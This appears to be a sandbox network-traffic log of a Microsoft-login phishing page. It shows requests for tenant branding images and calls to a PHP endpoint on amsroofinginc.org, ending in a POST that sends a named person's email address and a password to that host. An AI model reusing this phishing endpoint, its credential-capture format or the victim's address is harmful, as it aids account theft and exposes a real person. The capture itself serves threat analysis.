2024-10-24 09:57:35 UTC	16383	IN	Data Raw: 56 b3 5c 28 ce 3a 55 49 67 43 d7 1f 85 00 65 f9 0c c6 97 c9 1b 7e 62 2a 79 67 00 61 6a 9b 31 2c 3e be 94 00 32 80 dc 50 71 4c 24 9a 07 14 00 b9 c7 41 51 3f 35 21 39 a8 d8 50 04 0c 29 87 9c d4 cd 8a 88 f3 40 11 91 46 39 a9 36 e6 a5 8e dc b7 6a 00 ae 23 cd 4a 90 e6 ae c7 64 c7 a0 ab b6 fa 7e 5b 91 cd 00 54 b4 b4 dc c3 8a da 86 c3 0a 0e da b1 6d 64 b1 f3 b7 15 7d 50 7d 05 00 43 6f 66 a3 a2 e4 d5 b4 b1 93 f8 36 82 7b 9e d4 aa 44 67 ad 4f 1c be f4 01 7f 4f d3 df 50 bd 08 b1 a6 e0 06 e7 c7 53 5d 73 69 92 db a2 0d aa 73 fa 56 17 87 25 75 d4 03 2b 6c 50 32 4e 38 35 dc 09 56 e9 43 31 50 bf ce 80 39 3b bb 29 83 fc dc 7b 01 54 e5 b1 0c 32 3d 3b d7 6e f1 45 32 8c 81 f5 a6 49 a5 c2 47 ca 07 22 80 38 09 2c 90 29 c6 72 2b 36 6c 23 1c 93 8a ed f5 2d 32 38 b9 55 c8 3e 95 Data Ascii: V\(:UIgCe~b*ygaj1,>2PqL$AQ?5!9P)@F96j#Jd~[Tmd}P}Cof6{DgOOPS]sisV%u+lP2N85VC1P9;){T2=;nE2IG"8,)r+6l#-28U>
2024-10-24 09:57:35 UTC	16383	IN	Data Raw: d0 05 ef bb 82 a0 e0 74 35 05 fe d9 34 cb 84 66 2b 95 ce 69 62 90 48 06 0e 3d a8 be 8f 75 8c fc 8e 63 6e fe d4 01 e0 1f 18 e0 16 fa a6 97 2a b6 ef dd 0f c3 0c 7f c6 b0 ee 86 35 a8 31 fc 56 c4 7d 70 4d 74 3f 18 13 75 9e 9b 29 e4 8d c0 9f f8 12 d7 3b 70 73 71 a5 cb fd f8 d8 7e 6a 3f c6 80 1e 83 e7 fa 1a d0 4e 23 1e c6 a9 20 f9 98 55 f8 86 63 3f 4a 00 90 0c 74 a5 97 20 03 f9 d3 f1 d0 fa d2 cc 33 10 a0 0a ca 72 08 f7 a9 53 8a ac 4e 09 fa 54 d1 b6 54 50 03 a5 4c d5 62 b8 c5 5e 23 2b f8 55 57 5e 0f b1 a0 05 88 1d c3 1f 4a b6 a3 2b f4 35 53 1d 31 d6 af 20 de 9c 0c 1a 00 66 d0 d9 1e d5 97 7f 07 99 6f 22 7f 7d 0a fe 24 56 a9 f9 1c 31 fc 6a bd e0 06 36 c7 04 50 07 a0 5a dc 9d 4a c6 df 50 07 3f 6a 85 26 3f 56 50 4f ea 69 5a 22 39 1d 2a 9f 80 88 ba f0 8c 68 c7 e7 b7 Data Ascii: t54f+ibH=ucn51V}pMt?u);psq~j?N# Uc?Jt 3rSNTTPLb^#+UW^J+5S1 fo"}$V1j6PZJP?j&?VPOiZ"9h
2024-10-24 09:57:35 UTC	5923	IN	Data Raw: 63 e6 36 e6 0e dc fb 13 9a 65 b5 cc b6 d3 45 22 3b 7e e9 c3 a8 cf 42 28 03 d8 75 4f 19 41 a4 78 8a d6 c3 2b f6 72 8c 66 90 73 b5 fd 3f 0c 7e b5 d4 2d e3 c9 12 11 26 55 97 3c 77 07 a5 7c ef 73 3b 5c 5c bc b2 75 67 2c 46 73 8c 9a dd b2 f1 b6 ad 65 24 2c 92 2b 08 e1 58 b6 b0 c8 60 32 06 7f 3a 00 f7 21 26 eb 72 11 41 c0 e9 de b2 6e ae 85 bb 14 60 31 b4 92 49 c0 02 bc a2 4f 1f eb f2 63 17 41 08 20 8d 8b 8e 94 fd 6f c7 57 fa b1 94 2a ac 11 ca 9b 19 17 9c 64 0c e3 d3 a5 00 7a 22 ea 76 42 18 e7 92 e1 04 72 c8 63 8c 96 e1 98 1c 11 59 5a de b5 16 9b 68 65 27 7c 37 0d 85 da 71 c8 38 35 e5 86 e2 53 6e b0 99 18 c4 ac 58 26 78 07 d6 91 ee a6 96 28 e2 96 46 68 e3 ce d5 27 81 93 9a 00 f5 0b 5f 88 d6 7a 4d 89 7b 1b ab 89 26 55 0c 91 91 95 63 91 91 cf 4e 0f 5f 6a e5 ef fc Data Ascii: c6eE";~B(uOAx+rfs?~-&U<w\|s;\\ug,Fse$,+X`2:!&rAn`1IOcA oW*dz"vBrcYZhe'\|7q85SnX&x(Fh'_zM{&UcN_j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49741	152.199.21.175	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:34 UTC	654	OUT	GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/bannerlogo?ts=636776137975672854 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:34 UTC	717	IN	HTTP/1.1 200 The condition specified using HTTP conditional header(s) is not met. Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=86400 Content-MD5: 0/pFtOYWDbBUhWUaEyNAGg== Content-Type: image/* Date: Thu, 24 Oct 2024 09:57:34 GMT Etag: 0x8D6488611D219E7 Last-Modified: Mon, 12 Nov 2018 10:03:18 GMT Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 316554af-b01e-001d-30fb-25f5d8000000 x-ms-version: 2009-09-19 Content-Length: 906 Connection: close
2024-10-24 09:57:34 UTC	906	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 1a 08 03 00 00 00 62 ad 55 73 00 00 00 33 50 4c 54 45 00 00 00 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 6a d9 16 dc 00 00 00 10 74 52 4e 53 00 bf ef 10 60 40 9f 80 20 df 30 70 cf af 50 8f ef b0 a8 77 00 00 02 f6 49 44 41 54 48 c7 b5 55 49 82 84 20 0c 24 ec 8b 08 ff 7f ed 28 04 0b 97 e9 f6 d2 75 42 0c 49 a5 48 82 f8 8e d5 ca 5a 6b 69 6b da 56 d9 8b df 20 5a 2a 49 bd b3 35 4b ed 70 db 87 e3 d5 4f a0 64 dd 90 5f d9 ba 3a 40 db 57 68 ab 24 7e 02 cd 61 5e c0 d6 03 72 53 b9 af 8c f8 05 38 56 79 6b 09 5a 2c 9d f8 09 f8 2a d6 b7 ac 70 89 0b 2f 7e 02 df c3 f8 a7 5f 89 6a 5d ac 3f d5 95 d4 54 37 Data Ascii: PNGIHDRbUs3PLTEHHHHHHHHHHHHHHHHjtRNS`@ 0pPwIDATHUI $(uBIHZkikV ZI5KpOd_:@Wh$~a^rS8VykZ,p/~_j]?T7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49742	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:34 UTC	447	OUT	GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
2024-10-24 09:57:35 UTC	1028	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xkUlxOPOaKLkVPoKEAbRwwUqfCtaY3ZOV%2BwQpmuvsuZb%2Ffssv5XaeK2hdlFyVQO9gsIIAzXG0rP76uK5HlXO181jns%2BUtb1pKcAvedVayuAKpAk6eQq4zmYGCL5r65Bcczn6LA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791a7d18e9486f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1025&delivery_rate=1726893&cwnd=241&unsent_bytes=0&cid=61823aa046ba0955&ts=788&x=0"
2024-10-24 09:57:35 UTC	341	IN	Data Raw: 31 62 30 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 22 7b 26 71 75 6f 74 3b 65 72 72 6f 72 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 63 6f 64 65 26 71 75 6f 74 3b 3a 36 30 30 32 2c 26 71 75 6f 74 3b 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 26 71 Data Ascii: 1b0{"live":false,"is_business":false,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":false,"result":"{"error":{"code":6002,"correlationId&q
2024-10-24 09:57:35 UTC	98	IN	Data Raw: 2d 31 30 2d 32 34 20 30 39 3a 35 37 3a 33 35 5a 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 73 46 61 74 61 6c 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 6d 65 73 73 61 67 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 41 41 44 53 54 53 31 36 35 39 30 30 26 71 75 6f 74 3b 7d 7d 22 7d 0d 0a Data Ascii: -10-24 09:57:35Z","isFatal":true,"message":"AADSTS165900"}}"}
2024-10-24 09:57:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49743	152.199.21.175	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:36 UTC	454	OUT	GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/bannerlogo?ts=636776137975672854 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:36 UTC	645	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 2 Cache-Control: public, max-age=86400 Content-MD5: 0/pFtOYWDbBUhWUaEyNAGg== Content-Type: image/* Date: Thu, 24 Oct 2024 09:57:36 GMT Etag: 0x8D6488611D219E7 Last-Modified: Mon, 12 Nov 2018 10:03:18 GMT Server: ECAcc (lhc/78AE) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 316554af-b01e-001d-30fb-25f5d8000000 x-ms-version: 2009-09-19 Content-Length: 906 Connection: close
2024-10-24 09:57:36 UTC	906	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 1a 08 03 00 00 00 62 ad 55 73 00 00 00 33 50 4c 54 45 00 00 00 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 48 82 d4 6a d9 16 dc 00 00 00 10 74 52 4e 53 00 bf ef 10 60 40 9f 80 20 df 30 70 cf af 50 8f ef b0 a8 77 00 00 02 f6 49 44 41 54 48 c7 b5 55 49 82 84 20 0c 24 ec 8b 08 ff 7f ed 28 04 0b 97 e9 f6 d2 75 42 0c 49 a5 48 82 f8 8e d5 ca 5a 6b 69 6b da 56 d9 8b df 20 5a 2a 49 bd b3 35 4b ed 70 db 87 e3 d5 4f a0 64 dd 90 5f d9 ba 3a 40 db 57 68 ab 24 7e 02 cd 61 5e c0 d6 03 72 53 b9 af 8c f8 05 38 56 79 6b 09 5a 2c 9d f8 09 f8 2a d6 b7 ac 70 89 0b 2f 7e 02 df c3 f8 a7 5f 89 6a 5d ac 3f d5 95 d4 54 37 Data Ascii: PNGIHDRbUs3PLTEHHHHHHHHHHHHHHHHjtRNS`@ 0pPwIDATHUI $(uBIHZkikV ZI5KpOd_:@Wh$~a^rS8VykZ,p/~_j]?T7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49744	152.199.21.175	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:36 UTC	456	OUT	GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/illustration?ts=636777842252358527 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:36 UTC	648	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 2 Cache-Control: public, max-age=86400 Content-MD5: PSb7Q1YuHsCRHf/xFZfhtQ== Content-Type: image/* Date: Thu, 24 Oct 2024 09:57:36 GMT Etag: 0x8D64A12E0B0B5A9 Last-Modified: Wed, 14 Nov 2018 09:23:45 GMT Server: ECAcc (lhc/7914) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6d3a1fce-b01e-003f-60fb-259bee000000 x-ms-version: 2009-09-19 Content-Length: 104224 Connection: close
2024-10-24 09:57:36 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 f0 00 f0 00 00 ff e1 12 be 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 11 00 fe 00 04 00 00 00 01 00 00 00 00 01 00 00 04 00 00 00 01 00 00 14 5c 01 01 00 04 00 00 00 01 00 00 0d 8c 01 02 00 03 00 00 00 03 00 00 08 e6 01 03 00 03 00 00 00 01 00 01 00 00 01 06 00 03 00 00 00 01 00 02 00 00 01 0f 00 02 00 00 00 10 00 00 08 ec 01 10 00 02 00 00 00 0c 00 00 08 fc 01 11 00 04 00 00 00 01 00 00 67 b2 01 15 00 03 00 00 00 01 00 03 00 00 01 16 00 04 00 00 00 01 00 00 0d 8c 01 17 00 04 00 00 00 01 06 76 d5 e0 01 1c 00 03 00 00 00 01 00 01 00 00 01 31 00 02 00 00 00 2a 00 00 09 08 01 32 00 02 00 00 00 14 00 00 09 32 87 69 00 04 00 00 00 01 00 00 09 46 ea 1c 00 07 00 00 08 0c 00 00 00 da 00 00 00 00 1c ea 00 00 00 08 00 Data Ascii: JFIFExifMM\gv122iF
2024-10-24 09:57:36 UTC	16383	IN	Data Raw: 8c d2 b3 dc 49 9d f2 9c f3 e9 5b de 31 d4 8d fe a4 b6 51 b7 ee d0 e5 f1 58 bf 4e d4 00 f8 53 7c 9f 37 dd 03 2d f4 a9 19 8b b1 63 df 9a 00 f2 e0 03 f8 9f 93 f4 ed fe 7e 94 03 c5 00 00 e3 eb 4f 53 9a 61 e9 c5 39 10 f0 45 00 49 50 cf 00 99 72 bc 38 e9 ef 53 0e 69 71 40 18 93 db ef 05 58 61 85 55 b7 b8 96 c2 e0 f1 91 fc 4b eb 5d 04 f6 de 70 ca f0 e3 a1 f5 ac b9 ed bc d0 55 86 d7 1e b4 01 d2 68 7a 9c 49 24 6c e4 bd b3 1c 13 dd 3f 0f e9 5e af a5 47 62 d1 c6 f1 ed 75 20 10 47 43 5f 3e da 5d 4b a7 5c 10 c0 94 27 e7 4f 51 eb 5e 81 e1 7f 11 0b 23 18 79 0c 96 52 1e 0f 78 cf f9 ea 28 03 d7 9e 38 9b 05 14 7d 69 a4 a2 f1 4d b1 9a 39 6d d1 95 83 2b 00 41 07 20 8a 6d c2 ed 72 c3 91 ef 40 12 90 1b ee 9a 61 90 e0 a3 f5 ec 6a b1 93 a0 57 e7 d6 95 88 65 c1 24 9a 00 86 68 f6 Data Ascii: I[1QXNS\|7-c~OSa9EIPr8Siq@XaUK]pUhzI$l?^Gbu GC_>]K\'OQ^#yRx(8}iM9m+A mr@ajWe$h
2024-10-24 09:57:36 UTC	2	IN	Data Raw: 53 95 Data Ascii: S
2024-10-24 09:57:36 UTC	16383	IN	Data Raw: 3e a3 de b5 34 cb bb 5b bb 59 ad af 23 db 2b 92 d2 43 21 ce 7e 99 ed 5c be 93 ad b4 30 f9 17 52 ba 2b 70 24 53 83 5b 9a a2 5a 5f c7 1c d0 4c 21 b8 66 c4 44 1c 12 d8 ce 07 e5 40 1c 37 8b b4 4b b8 d5 6f b4 dd d2 69 cc 77 ed da 43 c4 3d fb e2 b9 b3 37 9f 0a c3 1b 70 4e 4d 7a 34 7a f5 d2 bb 69 fa 98 8a 3b c2 31 0b cb 90 92 7b 1f 4a cb f1 1f 80 83 b3 de e8 c7 6f 19 7b 65 ef ee bf e1 40 18 7a 7c 56 da 7a 06 4c 73 96 3d f9 ab 9f da 49 24 25 01 f9 57 9a c0 96 39 23 84 c4 15 90 a9 c1 c8 c6 3d 45 3a d5 91 57 e6 7f 9f 91 c7 6a 00 8f 54 93 ce 55 75 3f 3e 09 02 b0 64 85 2e d7 72 61 65 1f ad 6b ea 4a c6 35 f2 f9 2a 79 c5 63 3a c9 0b 67 95 e3 20 7a d0 05 32 19 1b 6b 82 08 ed 4f 56 ab 67 cb bb 4c 3f ca e0 70 d5 51 e3 78 5f 6b 8c 1f 5f 5a 00 99 39 35 68 6c 08 01 ea 6a 8a Data Ascii: >4[Y#+C!~\0R+p$S[Z_L!fD@7KoiwC=7pNMz4zi;1{Jo{e@z\|VzLs=I$%W9#=E:WjTUu?>d.raekJ5*yc:g z2kOVgL?pQx_k_Z95hlj
2024-10-24 09:57:36 UTC	16383	IN	Data Raw: 00 86 18 20 d3 19 4a ba d2 f4 39 1c 1a 00 cd d3 ae cf 86 35 2f b2 dc 31 fe cb b9 7f 91 cf fc b0 7f f0 35 ee 1e 18 d7 bf b4 6d 85 9d d3 e6 ea 25 f9 58 9f f5 ab eb f5 1f fd 7a f1 eb cb 68 af ac da 19 97 72 b0 c7 d2 97 c2 5a d5 c6 9b 7f 1e 93 7b 31 4b 88 4e eb 2b 82 7e f8 1f c3 f5 1f cb 8a 00 f7 97 e0 d4 0c 49 35 5f 4c d5 53 56 b2 12 60 2c c9 c4 a8 3b 1f 51 ec 6a 67 63 40 0b 9e 29 33 cd 44 5e 98 64 e7 8a 00 b5 bb 8a 51 21 53 d2 aa ac 95 27 98 4f 5c 50 05 82 c2 45 35 14 91 00 b9 5c d3 01 27 a1 a9 91 59 87 a0 a0 0a 4f 26 da a1 73 36 6b 4a f2 01 1a f0 73 9a c5 b8 07 9c d0 05 69 64 c9 e2 ab bb 7c b5 23 1e 4d 42 e2 80 20 6e b4 80 7a d3 c8 c5 25 00 28 00 74 a7 83 51 83 4a 0d 00 4c af 8a 42 d9 a6 53 c0 a0 03 71 c5 1b f1 49 8a 42 33 d2 80 06 72 69 02 96 a7 22 65 aa Data Ascii: J95/15m%XzhrZ{1KN+~I5_LSV`,;Qjgc@)3D^dQ!S'O\PE5\'YO&s6kJsid\|#MB nz%(tQJLBSqIB3ri"e
2024-10-24 09:57:36 UTC	16383	IN	Data Raw: 3c 56 b3 5c 28 ce 3a 55 49 67 43 d7 1f 85 00 65 f9 0c c6 97 c9 1b 7e 62 2a 79 67 00 61 6a 9b 31 2c 3e be 94 00 32 80 dc 50 71 4c 24 9a 07 14 00 b9 c7 41 51 3f 35 21 39 a8 d8 50 04 0c 29 87 9c d4 cd 8a 88 f3 40 11 91 46 39 a9 36 e6 a5 8e dc b7 6a 00 ae 23 cd 4a 90 e6 ae c7 64 c7 a0 ab b6 fa 7e 5b 91 cd 00 54 b4 b4 dc c3 8a da 86 c3 0a 0e da b1 6d 64 b1 f3 b7 15 7d 50 7d 05 00 43 6f 66 a3 a2 e4 d5 b4 b1 93 f8 36 82 7b 9e d4 aa 44 67 ad 4f 1c be f4 01 7f 4f d3 df 50 bd 08 b1 a6 e0 06 e7 c7 53 5d 73 69 92 db a2 0d aa 73 fa 56 17 87 25 75 d4 03 2b 6c 50 32 4e 38 35 dc 09 56 e9 43 31 50 bf ce 80 39 3b bb 29 83 fc dc 7b 01 54 e5 b1 0c 32 3d 3b d7 6e f1 45 32 8c 81 f5 a6 49 a5 c2 47 ca 07 22 80 38 09 2c 90 29 c6 72 2b 36 6c 23 1c 93 8a ed f5 2d 32 38 b9 55 c8 3e Data Ascii: <V\(:UIgCe~b*ygaj1,>2PqL$AQ?5!9P)@F96j#Jd~[Tmd}P}Cof6{DgOOPS]sisV%u+lP2N85VC1P9;){T2=;nE2IG"8,)r+6l#-28U>
2024-10-24 09:57:36 UTC	16383	IN	Data Raw: fb d0 05 ef bb 82 a0 e0 74 35 05 fe d9 34 cb 84 66 2b 95 ce 69 62 90 48 06 0e 3d a8 be 8f 75 8c fc 8e 63 6e fe d4 01 e0 1f 18 e0 16 fa a6 97 2a b6 ef dd 0f c3 0c 7f c6 b0 ee 86 35 a8 31 fc 56 c4 7d 70 4d 74 3f 18 13 75 9e 9b 29 e4 8d c0 9f f8 12 d7 3b 70 73 71 a5 cb fd f8 d8 7e 6a 3f c6 80 1e 83 e7 fa 1a d0 4e 23 1e c6 a9 20 f9 98 55 f8 86 63 3f 4a 00 90 0c 74 a5 97 20 03 f9 d3 f1 d0 fa d2 cc 33 10 a0 0a ca 72 08 f7 a9 53 8a ac 4e 09 fa 54 d1 b6 54 50 03 a5 4c d5 62 b8 c5 5e 23 2b f8 55 57 5e 0f b1 a0 05 88 1d c3 1f 4a b6 a3 2b f4 35 53 1d 31 d6 af 20 de 9c 0c 1a 00 66 d0 d9 1e d5 97 7f 07 99 6f 22 7f 7d 0a fe 24 56 a9 f9 1c 31 fc 6a bd e0 06 36 c7 04 50 07 a0 5a dc 9d 4a c6 df 50 07 3f 6a 85 26 3f 56 50 4f ea 69 5a 22 39 1d 2a 9f 80 88 ba f0 8c 68 c7 e7 Data Ascii: t54f+ibH=ucn51V}pMt?u);psq~j?N# Uc?Jt 3rSNTTPLb^#+UW^J+5S1 fo"}$V1j6PZJP?j&?VPOiZ"9h
2024-10-24 09:57:36 UTC	5924	IN	Data Raw: e2 63 e6 36 e6 0e dc fb 13 9a 65 b5 cc b6 d3 45 22 3b 7e e9 c3 a8 cf 42 28 03 d8 75 4f 19 41 a4 78 8a d6 c3 2b f6 72 8c 66 90 73 b5 fd 3f 0c 7e b5 d4 2d e3 c9 12 11 26 55 97 3c 77 07 a5 7c ef 73 3b 5c 5c bc b2 75 67 2c 46 73 8c 9a dd b2 f1 b6 ad 65 24 2c 92 2b 08 e1 58 b6 b0 c8 60 32 06 7f 3a 00 f7 21 26 eb 72 11 41 c0 e9 de b2 6e ae 85 bb 14 60 31 b4 92 49 c0 02 bc a2 4f 1f eb f2 63 17 41 08 20 8d 8b 8e 94 fd 6f c7 57 fa b1 94 2a ac 11 ca 9b 19 17 9c 64 0c e3 d3 a5 00 7a 22 ea 76 42 18 e7 92 e1 04 72 c8 63 8c 96 e1 98 1c 11 59 5a de b5 16 9b 68 65 27 7c 37 0d 85 da 71 c8 38 35 e5 86 e2 53 6e b0 99 18 c4 ac 58 26 78 07 d6 91 ee a6 96 28 e2 96 46 68 e3 ce d5 27 81 93 9a 00 f5 0b 5f 88 d6 7a 4d 89 7b 1b ab 89 26 55 0c 91 91 95 63 91 91 cf 4e 0f 5f 6a e5 ef Data Ascii: c6eE";~B(uOAx+rfs?~-&U<w\|s;\\ug,Fse$,+X`2:!&rAn`1IOcA oW*dz"vBrcYZhe'\|7q85SnX&x(Fh'_zM{&UcN_j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49746	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:45 UTC	679	OUT	POST /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive Content-Length: 56 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:45 UTC	56	OUT	Data Raw: 64 70 5f 6d 3d 61 6e 6e 2d 6b 61 74 68 72 69 6e 2e 6b 6f 63 68 25 34 30 65 6c 6b 61 6d 65 74 2e 64 65 26 64 70 5f 70 3d 68 66 72 73 64 67 64 66 68 65 74 68 6a 65 74 6a Data Ascii: dp_m=ann-kathrin.koch%40elkamet.de&dp_p=hfrsdgdfhethjetj
2024-10-24 09:57:47 UTC	1085	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=catagfjm1f3f5llf738mfdipqm; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S8bmbNOYdStPsAkHUfb2JxEW89pLMLzsWSJTY70fw19ri3%2BF%2FNIwAy9eBk9J6K1jeblGhSBoHhVZ7SdyR0KLiL8fVpVPSN9V5MjHVwcwV6NenkmlMSkMC90CgzaJbuasGTAxnw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791ac13b5f6b64-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1050&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1335&delivery_rate=2701492&cwnd=250&unsent_bytes=0&cid=616a46f983320194&ts=1895&x=0"
